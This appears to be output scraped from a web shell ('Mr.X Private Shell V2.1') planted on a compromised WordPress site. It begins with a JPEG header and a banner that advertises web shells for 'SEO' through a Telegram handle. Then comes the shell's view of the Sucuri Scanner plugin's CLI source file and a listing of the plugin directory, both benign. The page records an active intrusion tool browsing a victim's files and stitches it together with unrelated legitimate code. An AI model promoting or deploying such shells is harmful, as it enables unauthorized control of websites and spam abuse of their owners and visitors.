����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Code related to the cli.lib.php interface.
*
* PHP version 5
*
* @category Library
* @package Sucuri
* @subpackage SucuriScanCLI
* @author Daniel Cid <dcid@sucuri.net>
* @copyright 2010-2018 Sucuri Inc.
* @license https://www.gnu.org/licenses/gpl-2.0.txt GPL2
* @link https://wordpress.org/plugins/sucuri-scanner
*/
if (!defined('SUCURISCAN_INIT') || SUCURISCAN_INIT !== true) {
if (!headers_sent()) {
/* Report invalid access if possible. */
header('HTTP/1.1 403 Forbidden');
}
exit(1);
}
/**
* Manage Sucuri API registration.
*
* @category Library
* @package Sucuri
* @subpackage SucuriScanner
* @author Daniel Cid <dcid@sucuri.net>
* @copyright 2010-2018 Sucuri Inc.
* @license https://www.gnu.org/licenses/gpl-2.0.txt GPL2
* @link https://wordpress.org/plugins/sucuri-scanner
*/
class SucuriScanCLI extends WP_CLI_Command
{
/**
* Register and connect to the Sucuri API.
*
* ## OPTIONS
*
* [<api_key>]
* : Sucuri API key to register with.
*
* ## EXAMPLES
*
* # New registration
* wp sucuri register
* API key: 99e656abef7a123d1cffe73f91ba63702
* Success: The API key for your site was successfully generated and saved.
*
* # Existing key registration
* wp sucuri register 99e656abef7a123d1cffe73f91ba63702
* Success: The API key for your site was successfully saved.
*
* # Registration recovery
* wp sucuri register
* Warning: We already have an API key created for this site. It has been sent to the email admin@example.com for recovery.
*
* @param array $args Arguments from the command line interface.
* @return void
*/
public function register($args)
{
list($api_key) = $args;
ob_start();
$registered = $api_key ? SucuriScanAPI::setPluginKey($api_key, true) : SucuriScanAPI::registerSite();
$output = ob_get_clean();
preg_match_all('/<p><b>SUCURI:<\/b>(.+)<\/p>/', $output, $matches);
$message = isset($matches[1][0]) ? trim(strip_tags($matches[1][0])) : 'An unknown error occurred during registration.';
if (! $registered) {
WP_CLI::error($message);
}
if ($registered && $api_key) {
WP_CLI::success('The API key for your site was successfully saved.');
return;
}
$api_key = SucuriScanAPI::getPluginKey();
WP_CLI::line("API key: $api_key");
WP_CLI::success($message);
}
/**
* Manage which files are included in Sucuri integrity checks.
*
* ## OPTIONS
*
* <action>
* : The action to be taken (ignore or unignore).
*
* <file_path>
* : Relative path to a file.
*
* [--reason=<reason>]
* : Why the file should be ignored from integrity checks.
* ---
* default: added
* options:
* - added
* - modified
* - removed
* ---
*
* ## EXAMPLES
*
* # Ignore a file
* wp sucuri integrity ignore wp-admin/install.php --reason=removed
* Success: 'wp-admin/install.php' file successfully ignored.
*
* # Unignore a file
* wp sucuri integrity unignore foo.php
* Success: 'foo.php' file successfully unignored.
*
* @param array $args Arguments from the command line interface.
* @param array $assoc_args Associative arguments from the command line interface.
* @return void
*/
public function integrity($args, $assoc_args)
{
list($action, $file_path) = $args;
$allowed_actions = array('ignore', 'unignore');
if (! in_array($action, $allowed_actions, true)) {
WP_CLI::error("Requested action '{$action}' is not supported.");
}
$allowed_reasons = array('added', 'modified', 'removed');
$file_status = WP_CLI\Utils\get_flag_value( $assoc_args, 'reason', $default = 'added' );
if (! in_array($file_status, $allowed_reasons, true)) {
WP_CLI::error("Specified reason '{$file_status}' is not supported.");
}
$cache = new SucuriScanCache('integrity');
$cache_key = md5($file_path);
if ('ignore' === $action) {
$cache->add(
$cache_key,
array(
'file_path' => $file_path,
'file_status' => $file_status,
'ignored_at' => time(),
)
);
WP_CLI::success("'{$file_path}' file successfully ignored.");
}
if ('unignore' === $action) {
$cache->delete($cache_key);
WP_CLI::success("'{$file_path}' file successfully unignored.");
}
}
}
WP_CLI::add_command('sucuri', 'SucuriScanCLI');
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| api.lib.php | File | 37.23 KB | 0644 |
|
| auditlogs.lib.php | File | 10.89 KB | 0644 |
|
| base.lib.php | File | 27.75 KB | 0644 |
|
| cache.lib.php | File | 16.15 KB | 0644 |
|
| cli.lib.php | File | 4.8 KB | 0644 |
|
| command.lib.php | File | 6.19 KB | 0644 |
|
| cron.lib.php | File | 1.8 KB | 0644 |
|
| event.lib.php | File | 32.55 KB | 0644 |
|
| fileinfo.lib.php | File | 14.98 KB | 0644 |
|
| firewall.lib.php | File | 25.74 KB | 0644 |
|
| fsscanner.lib.php | File | 4.2 KB | 0644 |
|
| globals.php | File | 8.46 KB | 0644 |
|
| hardening.lib.php | File | 10.94 KB | 0644 |
|
| hook.lib.php | File | 38.23 KB | 0644 |
|
| index.html | File | 38 B | 0644 |
|
| installer-skin-legacy.lib.php | File | 1.58 KB | 0644 |
|
| installer-skin.lib.php | File | 2.35 KB | 0644 |
|
| integrity.lib.php | File | 26.07 KB | 0644 |
|
| interface.lib.php | File | 13.03 KB | 0644 |
|
| lastlogins-failed.php | File | 14.32 KB | 0644 |
|
| lastlogins-loggedin.php | File | 7.76 KB | 0644 |
|
| lastlogins.php | File | 16.13 KB | 0644 |
|
| mail.lib.php | File | 9.48 KB | 0644 |
|
| option.lib.php | File | 23.25 KB | 0644 |
|
| pagehandler.php | File | 8.97 KB | 0644 |
|
| request.lib.php | File | 4.4 KB | 0644 |
|
| settings-alerts.php | File | 26.7 KB | 0644 |
|
| settings-apiservice.php | File | 5.53 KB | 0644 |
|
| settings-general.php | File | 27.19 KB | 0644 |
|
| settings-hardening.php | File | 32.42 KB | 0644 |
|
| settings-integrity.php | File | 5.37 KB | 0644 |
|
| settings-posthack.php | File | 21.51 KB | 0644 |
|
| settings-scanner.php | File | 9.69 KB | 0644 |
|
| settings-webinfo.php | File | 5.55 KB | 0644 |
|
| settings.php | File | 947 B | 0644 |
|
| sitecheck.lib.php | File | 19.21 KB | 0644 |
|
| strings.php | File | 45.61 KB | 0644 |
|
| template.lib.php | File | 17.88 KB | 0644 |
|
| wordpress-recommendations.lib.php | File | 10.9 KB | 0644 |
|